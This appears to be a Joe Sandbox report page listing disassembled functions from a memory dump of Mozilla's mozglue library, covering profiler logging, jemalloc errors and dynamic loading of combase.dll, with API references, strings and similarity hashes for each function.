Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: b90ff6ca3426ec82295dbc554ef1acf3310cce983a426986fbca4821750df203
Instruction ID: 7915e69ee5e546cede3a07ba3fdd61add7b9a4071aa8c78529823c539dafcb98
Opcode Fuzzy Hash: b90ff6ca3426ec82295dbc554ef1acf3310cce983a426986fbca4821750df203
Instruction Fuzzy Hash: 69218E7620020AEFDF11CF56DC88DDA3B7AFB5A364F018018FA1592610D3719862CF6A

Function 6C6776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C677705

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C677717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C67778F,00000000,00000000,00000000,00000000), ref: 6C677731
free.MOZGLUE(00000000), ref: 6C677760

Strings

}>el, xrefs: 6C6776C4

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>el
API String ID: 2538299546-3396001110
Opcode ID: d3bef933624760899cfb82664c4f8baa3053341aed1f7a2234afefcd02e344d2
Instruction ID: bbfe01a6b6ea868af98a193c130ddc3c01cd32128039ca08a12bb7580841ac9f
Opcode Fuzzy Hash: d3bef933624760899cfb82664c4f8baa3053341aed1f7a2234afefcd02e344d2
Instruction Fuzzy Hash: 1211C4B19053156BE720AF7A9C44BABBEE8EF46354F044929F848E7300E77488408BF6

Function 6C621FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C621FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C621FFD
__Init_thread_footer.LIBCMT ref: 6C622011
FreeLibrary.KERNEL32 ref: 6C622059

Strings

CoCreateInstance, xrefs: 6C621FF7
combase.dll, xrefs: 6C621FD9

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 6b3e5d887a3a096e4fbea84477279f92bc5b579ad069fb51099d3a32c3172e1c
Instruction ID: c3af43400019e4ef36c112016ef29077bc1fa091c8d834b72c8dea1bcd62bc5b
Opcode Fuzzy Hash: 6b3e5d887a3a096e4fbea84477279f92bc5b579ad069fb51099d3a32c3172e1c
Instruction Fuzzy Hash: 7D115E75601206AFDF20DF56C88CE9A7B79FB96369F118029FD0583640C7359861CF6A

Function 6C620EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C64D9F0,00000000), ref: 6C620F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C620F3C
__Init_thread_footer.LIBCMT ref: 6C620F50
FreeLibrary.KERNEL32(?,6C64D9F0,00000000), ref: 6C620F86

Strings

combase.dll, xrefs: 6C620F18
CoInitializeEx, xrefs: 6C620F36

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: e64a4ab4a9d30bf0e8fde16e99ffed6afa695b8a804d0d9eb73ee4a05bbd7ada
Instruction ID: 6e4f55f0e940355d91540aa7bf4cc58f7de1174564d14adc28152f5c35f854b8
Opcode Fuzzy Hash: e64a4ab4a9d30bf0e8fde16e99ffed6afa695b8a804d0d9eb73ee4a05bbd7ada
Instruction Fuzzy Hash: 0911C274345242EBDF20CF66C998AD63778FB9B325F018229FD0582B40D736A402CE5E

Function 6C65F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F561

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F585
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C65F499
[I %d/%d] profiler_resume, xrefs: 6C65F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C65F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C65F3A8

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction ID: 69174eacf5275eae1ac9697278410fd12da30e6e28adadfae3a13054c4b6a268
Opcode Fuzzy Hash: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction Fuzzy Hash: 89F0B4752002069BDB10AF66D88896A77BDEFC669DF100411FA0683702CB315C06C76E

Function 6C620E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C620DF8), ref: 6C620E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C620EA1
__Init_thread_footer.LIBCMT ref: 6C620EB5
FreeLibrary.KERNEL32 ref: 6C620EC5

Strings

kernel32.dll, xrefs: 6C620E7D
GetProcessMitigationPolicy, xrefs: 6C620E9B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8cc8e218c27d25fc27daa3984b0a83f0baeed2700b71ce4c8a20ff09c627a908
Instruction ID: d40230f12aef3701b794ae38917fe44ea385903066b7c00976abfac80f935f28
Opcode Fuzzy Hash: 8cc8e218c27d25fc27daa3984b0a83f0baeed2700b71ce4c8a20ff09c627a908
Instruction Fuzzy Hash: 57014B70700383DBDF008FAAE9A4A4233B5F747314F124529FA41CAB40D778A4568E1F

Function 6C65F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C65F598), ref: 6C65F621

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F637
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F645
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C65F62A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f36f0a18328acd8c9b79227ffda99a11953035916cbb16144e69a67159e56c7d
Instruction ID: 71d657288322eee8cee2b9848608d7a3a2f67a603f1b0e44b41fbd418b65119d
Opcode Fuzzy Hash: f36f0a18328acd8c9b79227ffda99a11953035916cbb16144e69a67159e56c7d
Instruction Fuzzy Hash: 7EF0B475200202ABDB106F66888896A777DEFC669DF500411FA0683742CB355C06C76E

Function 6C6505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C64CFAE,?,?,?,6C6131A7), ref: 6C6505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C64CFAE,?,?,?,6C6131A7), ref: 6C650616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6131A7), ref: 6C65061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6131A7), ref: 6C650627

Strings

<jemalloc>, xrefs: 6C6505FA, 6C65060F
: (malloc) Error in VirtualFree(), xrefs: 6C65061B, 6C650625

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: af3cbf19e9b5cbb24f4828fe486473e12e9a1d1080d5c722775ddf457c31f5e0
Instruction ID: 7c01d688a3d83ea319c1a8f687b77be7ec4bb2ab9a40af499fb54596ea238722
Opcode Fuzzy Hash: af3cbf19e9b5cbb24f4828fe486473e12e9a1d1080d5c722775ddf457c31f5e0
Instruction Fuzzy Hash: 94E0ECE2A0211437F6146266BC86DBB765CDBC6574F080139FE0E83301E95AAD1A55FA

Function 6C6205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86cc5254f1920aa604d8789c23ed8ec91805e884df96c65183d5a393c36472d
Instruction ID: 17570e2a90cb515104e8cedb66fb6ff020d4c0789b20dff27ebd1e5d739ac003
Opcode Fuzzy Hash: a86cc5254f1920aa604d8789c23ed8ec91805e884df96c65183d5a393c36472d
Instruction Fuzzy Hash: 7AA158B0A00645CFDB24CF29C594A9AFBF1FF89304F54866ED48A97B00E735A945CFA4

Function 6C6714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6714E2
GetCurrentThreadId.KERNEL32 ref: 6C671546
InitializeConditionVariable.KERNEL32(?), ref: 6C6715BA
free.MOZGLUE(?), ref: 6C6716B4

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction ID: d5b02051a5dc4289fb9d1c82b6fc87462b50fe403f40704483ef15c59dcf6d38
Opcode Fuzzy Hash: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction Fuzzy Hash: 29610771A007109BDB21CF21C890BDEB7B5BF8A308F04991DED8A57701DB31E955CBAA

Function 6C669F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C669FDB
free.MOZGLUE(?,?), ref: 6C669FF0
free.MOZGLUE(?,?), ref: 6C66A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C66A0BE
free.MOZGLUE(?,?), ref: 6C66A0D5
free.MOZGLUE(?,?), ref: 6C66A0EB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 35b8962078de3bcd334c6bde17ff16687c15f9af6587d9f32d160081489f2146
Instruction ID: d78ae7489959b1343ce4eca2f57646a644ecdd88ae8f73205a4ef960679372f4
Opcode Fuzzy Hash: 35b8962078de3bcd334c6bde17ff16687c15f9af6587d9f32d160081489f2146
Instruction Fuzzy Hash: 2861CF754086119FC711CF19C48059AB3F5FFC9328F109659EC999BB02EB32E986CBC6

Function 6C66DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C66D38A,?), ref: 6C66DC6F
free.MOZGLUE(?,?,?,?,?,6C66D38A,?), ref: 6C66DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C66D38A,?), ref: 6C66DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C66D38A,?), ref: 6C66DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C66D38A,?), ref: 6C66DD4A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction ID: 09e4415d6b06cf754bbdcf4b5c112abca536be475ae8fae4b872ea95b3a14a09
Opcode Fuzzy Hash: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction Fuzzy Hash: F8418F75A00615CFCB00CF9AC88099AB7F9FF89318B654569D945A7B10D771FC01CB99

Function 6C64F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C64F480

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

CloseHandle.KERNEL32(00000000), ref: 6C64F555

Part of subcall function 6C6214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C621248,6C621248,?), ref: 6C6214C9
Part of subcall function 6C6214B0: memcpy.VCRUNTIME140(?,6C621248,00000000,?,6C621248,?), ref: 6C6214EF

Part of subcall function 6C61EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C61EEE3

CreateFileW.KERNEL32 ref: 6C64F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C64F523

Strings

\oleacc.dll, xrefs: 6C64F4CB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction ID: 4ca7f51a4fa8200fed87f45d02b7f9ed327b2eb825cd083233e91d85886de748
Opcode Fuzzy Hash: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction Fuzzy Hash: FE41DF706087119FE724DF29C884B9BB7F4AF95318F108A1CF59483650EB70E949CBAB

Function 6C65E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65E04F

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C65E057

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 238725670ed9bee22b0339e4fef7e4b7d289f3ab0ac05611d0f35ab990e725ca
Instruction ID: d92547e3a2074507070318b26476113cb2c272199ac05963c824c6b6d78bb3a7
Opcode Fuzzy Hash: 238725670ed9bee22b0339e4fef7e4b7d289f3ab0ac05611d0f35ab990e725ca
Instruction Fuzzy Hash: 1F21C274B001099FDF04DF65D898AEEB7B5AF86308FA44024E90A97740DB35A929C7E9

Function 6C6774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C677526
__Init_thread_footer.LIBCMT ref: 6C677566
__Init_thread_footer.LIBCMT ref: 6C677597

Strings

kernel32.dll, xrefs: 6C677557
UnmapViewOfFile2, xrefs: 6C677552

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction ID: 54a3633d7e08d9a4f6e937cb7723f93c28283fa5280e1b2b65863afcb982bef2
Opcode Fuzzy Hash: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction Fuzzy Hash: AF210A31700503A7DF25CFE6E894ED93375EB47328F114928F8064BF40CB71A8128AAE

